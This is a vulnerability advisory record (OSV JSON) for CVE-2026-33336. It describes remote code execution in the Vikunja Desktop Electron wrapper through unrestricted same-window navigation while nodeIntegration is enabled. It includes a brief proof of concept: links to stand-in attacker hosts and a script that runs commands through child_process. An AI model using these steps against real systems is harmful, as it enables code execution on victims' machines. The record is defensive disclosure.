{"id":"CVE-2026-33336","summary":"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation","details":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","aliases":["GHSA-83w9-9jf6-88vf"],"modified":"2026-04-10T05:42:44.545626Z","published":"2026-03-24T15:16:14.681Z","database_specific":{"cna_assigner":"GitHub_M","osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json","cwe_ids":["CWE-94"]},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json"},{"type":"ADVISORY","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33336"},{"type":"WEB","url":"https://vikunja.io/changelog/vikunja-v2.2.0-was-released"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/go-vikunja/vikunja","events":[{"introduced":"e5cd4897d6be52c5bacb39a4ddae322921bfc0ee"},{"fixed":"b365be1881641dd2791d3dff4c26ad941c13cef6"}],"database_specific":{"versions":[{"introduced":"0.21.0"},{"fixed":"2.2.0"}]}}],"versions":["v0.21.0","v0.22.0","v0.22.1","v0.23.0","v0.24.1","v1.0.0","v1.0.0-rc0","v1.0.0-rc1","v1.0.0-rc2","v1.0.0-rc3","v1.0.0-rc4","v1.1.0","v2.0.0","v2.1.0"],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-33336.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"}]}